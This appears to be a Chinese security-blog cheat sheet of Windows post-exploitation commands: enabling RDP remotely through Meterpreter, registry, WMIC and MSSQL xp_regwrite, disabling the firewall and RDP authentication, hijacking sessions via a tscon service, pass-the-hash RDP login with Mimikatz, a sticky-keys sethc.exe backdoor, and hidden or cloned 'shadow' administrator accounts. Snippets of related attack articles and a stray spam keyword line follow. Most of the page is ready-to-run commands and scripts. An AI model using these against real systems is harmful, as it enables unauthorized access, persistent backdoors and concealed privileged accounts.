<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    遠程開啟3389及添加用戶總結

    VSole2022-01-18 16:35:30

    1、查詢3389端口方式

    • (1) REG查詢3389狀態(0:ON、1:OFF)
    REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
    
    • (2) REG查詢3389端口(16進制->10進制)
    #兩個鍵值均可,值為0xd3d則為3389,否則將其轉為10進制則為端口號
    REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /v  PortNumber
    REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
    
    • (3) tasklist、netstat命令查詢3389端口
    tasklist /svc | findstr "TermService"
    netstat -ano | findstr "3389"
    

    2、開啟3389端口方式

    • (1) MSF命令開啟3389端口
    meterpreter > run post/windows/manage/enable_rdp
    meterpreter > run getgui -e
    
    #注:getgui可用于開啟目標機器的3389遠程桌面端口、創建管理員賬戶密碼、禁用遠程桌面(TCP-In)防火墻入站規則等。
    
    • (2) REG命令開啟3389端口
    #開啟遠程桌面 (0:ON、1:OFF)
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    #修改windows遠程桌面端口3389為3000(一般情況不要改) 
    REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 3000 /f
    
    • (3) WMIC命令開啟3389端口
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 
    # 前提條件是確保“Windows Management Instrumentation(Winmgmt)”服務已正常啟動。
    
    • (4) Windows API開啟3389端口
    原理就是利用RegCreateKeyEx和RegSetValueEx兩個API和Microsoft.Win32 RegistryKey類操作系統注冊表
    
    • (5) MSSQL xp_regwrite開啟3389端口

    應用場景:xp_cmdshell被禁用/刪除且無法恢復時,可嘗試用xp_regread、xp_regwrite來查詢和開啟目標機器3389端口,也可以選擇用sp_OACreate、Agent Job等其他命令執行方式。

    # 1、查詢3389開啟狀態 
    exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections' 
    # 2、查詢3389遠程桌面端口 
    exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' 
    # 3、開啟3389遠程桌面端口(0:ON、1:OFF) 
    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    

    注:防火墻配置3389放行

    #配置一下防火墻,設置為允許遠程桌面連接,命令:
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    #netsh 是 windows 的網絡配置命令,advfirewall firewall 意思為防火墻的高級設置,add rule 是添加一條規則
    #name 指定規則名稱,protocol 指定協議,dir 指定是出站還是入站,localport 指定端口,action 指定動作 allow 允許
    #關閉防火墻
    netsh firewall set opmode mode=disable
    

    3、RDP劫持或切換用戶

    • (1)切換用戶
    #獲取用戶對應的會話 ID
    query user
    #切換會話
    tscon 會話id /PASSWORD:要切換的用戶密碼
    如: tscon 2 /PASSWORD:Bunny2021
    #在 SYSTEM 權限下直接執行 tscon 會話切換命令, 不需要輸入密碼
    
    • (2)劫持用戶
    #創建服務獲取 SYSTEM 權限
    sc create rdp binpath= "cmd.exe /k tscon 會話id /dest:會話名稱"
    sc create rdp binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #修改為目標會話id和當前會話名
    sc start rdp
    

    4、登陸RDP方式

    • (1)windows多個遠程桌面連接
    mstsc /admin
    
    • (2)linux遠程桌面連接
    #使用redesktop工具
    redesktop 192.168.1.1  //redesktop IP
    
    • (3)哈希傳遞登錄 RDP
    #注冊表開啟Restricted Admin Mode
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
    #查看是否成功開啟 
    REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
    #Mimikatz 進行哈希傳遞
    privilege:\:debugsekurlsa\::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
    #注:管理員組有效
    
    • (4)粘滯鍵與輔助功能后門
    #關閉3389鑒權,設置securitylayer 安全層驗證
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
    #注:
    userauthentication鑒權:
    0  指定的網絡級用戶不需要身份驗證就能建立遠程桌面連接。這是默認值。
    1  指定網絡級別的用戶身份驗證是必需的
    securitylayer 安全層驗證:
    0  就是連接前使用 rdp 協議進行身份驗證,rdp 即遠程桌面連接,可以簡單理解為就是關閉驗證。
    1  是指在連接前兩端協商來進行身份驗證,這個是默認值。
    2  就是使用 tls 協議來進行
    #替換sethc.exe程序
    copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
    
    • (5)RDP登陸出錯處理(后續遇到后補充)

    1、出現身份驗證錯誤,要求的函數不受支持,遠程計算機:X.X.X.X,這可能是由于CredSSP加密Oracle修正

    #下列方法選擇一種即可
    1、控制端打開組策略(gpedit.msc),打開計算機配置/管理模板/系統/憑據分配,在右側列表中找到加密Oracle修正,雙擊加密Oracle修正,進入設置,選擇已啟用,將保護級別選擇易受攻擊
    2、控制端設置注冊表
    REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v AllowEncryptionOracle /t REG_DWORD /d 2
    3、被控端關閉3389鑒權
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
    


    5、創建賬戶密碼

    • (1)cmd創建賬戶并添加管理員權限
    net user            #查看當前所有系統用戶
    net user test 123456 /add       #添加用戶名為test密碼為123456的用戶
    net localgroup administrators test /add #把test用戶提升至管理組
    #拓展:
    1、net不能用時 可以用net1 如net1 user jdq 123456 /add 效果一樣,也可以復制net.exe為xxx.exe再執行
    2、/add也可以用/ad代替 執行效果一樣
    3、使用$添加隱藏用戶:net user jdq$ 123456 /add
    
    • (2) Powershell添加管理員用戶
    #添加test用戶,密碼123456
    New-LocalUser test -Password (ConvertTo-SecureString -String '123456' -AsPlainText -Force)
    Add-LocalGroupMember -Group "administrators" -Member "test"
    
    • (3)使用vbs文件
    #vbs腳本,添加test用戶,密碼123456
    set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os)
    Set oe=GetObject(os&"/Administrators,group")
    Set od=ob.Create("user","admin")
    od.SetPassword "123456"
    od.SetInfo
    Set of=GetObject(os&"/admin",user)
    oe.add os&"/admin"
    
    #執行vbs腳本
    wscript.exe add.vbs
    
    • (4)CS argue命令
    #argue 進程參數欺騙
    #argue [command] [fake arguments]
    #argue 命令 假參數 欺騙某個命令參數
    #argue [command]
    #argue 命令 取消欺騙某個命令參數
    
    argue net saldjfoiwjeofijoisfklasjdlfjasdfiowjefoijwoefjoaisjefojsaefoiwejfowef
    run net user test 123456 /add
    run net localgroup "administrators" test /add
    
    • (5)Win API 進行UserAdd
    #這個需要一定的代碼能力。我直接貼工具
    https://github.com/lengjibo/NetUser
    
    #原理分析文章
    https://www.anquanke.com/post/id/264890#h3-6
    
    • (6)Vbscript API 添加管理員用戶
    #1、API_Shell.Users組件(XP/Win2k3)
    Set o=CreateObject( "Shell.Users" )
    Set z=o.create("test")
    z.changePassword "123456",""
    z.setting("AccountType")=3
    
    #2、ADSI_WinNT對象(XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016)
    set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os)
    Set oe=GetObject(os&"/Administrators,group")
    Set od=ob.Create("user","test")
    od.SetPassword "123456"
    od.SetInfo
    Set of=GetObject(os&"/betasec",user)
    oe.add os&"/betasec"
    
    • (7)影子賬戶的創建(system權限cmd操作,管理員rdp登陸圖形操作)
    (注:新建管理員帳戶b,克隆帳戶b,建立隱藏賬戶bbb$,刪除管理員帳戶b,隱藏賬戶bbb$仍然有效)
    (克隆帳戶a的權限,建立隱藏帳戶aaa$,修改帳戶a的密碼,隱藏帳戶aaa$仍然有效)
    

    -# 創建隱藏用戶

    net user test$ 123456 /add
    net localgroup administrators test$ /add
    


    -# 導出用戶注冊表id信息(注:用QUERY查看無法看到id信息)

    reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ test$.reg                        //隱藏用戶的信息
    reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator administrator.reg        //管理員的信息
    


    -# 利用type打開導出文件,獲得兩個用戶的id

    type test$.reg
    type administrator.reg
    


    -# 根據id導出用戶的詳細信息

    reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 000003EA.reg
    reg EXPORT HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 000001F4.reg
    


    -# 將管理員的f值復制替換到隱藏用戶的f值

    (注:可以下載至本地修改,或進行追加修改)


    -# 刪除隱藏用戶

    net user test$ /del
    

    -# 還原隱藏用戶注冊表test$.reg,000003EA.reg

    regedit /s test$.reg
    regedit /s 000003EA.reg
    

    -# 啟動賬戶

    net user test$ /active:yes
    

    參考鏈接

    1、RDP安全總結:
    https://bewhale.github.io/posts/24991.html#toc-heading-1
    2、用戶添加:
    https://mp.weixin.qq.com/s/UKJUBQFKf1lBctfckmieDg
    3、繞過AV進行UserAdd的方法:
    https://www.anquanke.com/post/id/264890#h3-5
    4、滲透技巧——Windows系統的帳戶隱藏:
    https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F
    test3389端口
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    1、查詢3389端口方式 (1) REG查詢3389狀態(0:ON、1:OFF) REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections (2) REG查詢3389端口(16進制->10進制)
    在2號機上右擊,以管理員權限執行,kali就可以接收到反彈回來的shell,對shell進行操作。使用ms-sql-brute模塊對6號機sa賬戶進行爆破,獲得用戶名為sa,密碼為123456nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktopame.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116. 使用sqltools獲取6號機數據庫用xp_cmdshell關閉防火墻限制netsh firewall set opmode mode=disable. 添加3389入站規則netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow. 抓到域控管理員賬號和密碼:在4號機上,使用以下命令建立IPC$連接net use \\192.168.141.100 "hb123456,./$" /user:"Administrator"
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    滲透技巧總結
    2022-01-23 13:30:33
    整理一些滲透測試相關技巧總結~
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    隱藏通信隧道技術常用于在訪問受限的網絡環境中或不受信任的網絡中實現安全的數據傳輸。網絡層:IPV6隧道、ICMP隧道、GRE隧道傳輸層:TCP隧道、UDP隧道、常規端口轉發應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道常規判斷內網連通性的方法都有哪些?
    在常見滲透過程中我們拿到了一個pc權限,目標pc的mstsc可能保存了其他機器的密碼。所以獲取它保存的密碼是非常有利用價值的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类